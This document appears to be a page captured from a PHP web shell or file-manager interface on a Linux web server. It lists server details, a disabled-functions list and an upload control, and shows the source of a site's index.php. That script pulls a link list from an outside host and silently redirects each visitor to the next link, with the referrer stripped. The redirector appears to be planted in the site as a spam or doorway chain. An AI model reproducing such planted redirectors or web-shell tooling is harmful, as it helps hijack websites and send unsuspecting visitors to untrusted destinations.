HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux vgpudjuxex 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User: cod67 (1010)
PHP: 8.2.29
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/cod67/data/www/cod67.ru/public_html/similar/index.php
<?php
error_reporting(E_ALL);
$links_content = file_get_contents('https://4li.ru/links.txt');
if ($links_content === false) {
    die('Не удалось получить список ссылок');
}
$links = array_filter(array_map('trim', explode("\n", $links_content)));
$links = array_values($links); 


$is_https = false;
if (isset($_SERVER['HTTP_CF_VISITOR'])) {
    $cf_visitor = json_decode($_SERVER['HTTP_CF_VISITOR'], true);
    $is_https = isset($cf_visitor['scheme']) && $cf_visitor['scheme'] === 'https';
}
elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
    $is_https = strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https';
}
elseif (isset($_SERVER['HTTPS'])) {
    $is_https = strtolower($_SERVER['HTTPS']) === 'on';
}

$current_url = strtok(($is_https ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]", '?');

$current_index = array_search($current_url, $links);
if ($current_index !== false) {
    $next_index = ($current_index + 1) % count($links);
    $redirect_url = $links[$next_index];
    header('Content-Type: text/html; charset=UTF-8');
    ?>
    <!doctype html>
    <html lang="en">
    <meta name="referrer" content="no-referrer"/>
    <meta http-equiv="refresh" content="0.2;url=<?php echo htmlspecialchars($redirect_url); ?>">
    <head>
      <meta charset="UTF-8">
      <meta name="viewport"
            content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
      <meta http-equiv="X-UA-Compatible" content="ie=edge">
      <title>Redirecting...</title>
    </head>
    <body>
    </body>
    </html>
    <?php
    exit;
} else {
    die('Текущий URL не найден в списке ссылок');
}